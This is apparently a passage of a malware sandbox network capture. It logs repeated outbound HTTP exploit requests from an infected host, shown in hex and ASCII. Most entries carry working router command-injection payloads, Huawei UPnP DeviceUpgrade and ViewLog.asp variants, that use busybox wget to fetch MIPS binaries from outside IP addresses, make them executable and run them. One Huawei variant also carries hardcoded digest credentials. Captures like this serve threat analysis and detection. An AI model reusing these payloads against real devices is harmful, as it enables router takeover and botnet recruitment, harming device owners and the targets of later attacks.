Nov 23, 2023 05:17:35.302300930 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:37.830297947 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:42.694982052 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:52.166218996 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:12.134176970 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	52274	31.222.200.48	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:34.977797985 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	48230	31.136.119.91	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:35.008821964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.086257935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:44.230266094 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.262227058 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:20.326186895 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	59746	94.121.181.171	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:35.045658112 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:39.110282898 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.254261017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:57.286216021 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:22.374218941 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	46764	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:36.528562069 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:30Auth Result: .
Nov 23, 2023 05:17:37.645098925 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:30Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	53886	94.121.77.170	8080

Timestamp	Bytes transferred	Direction	Data
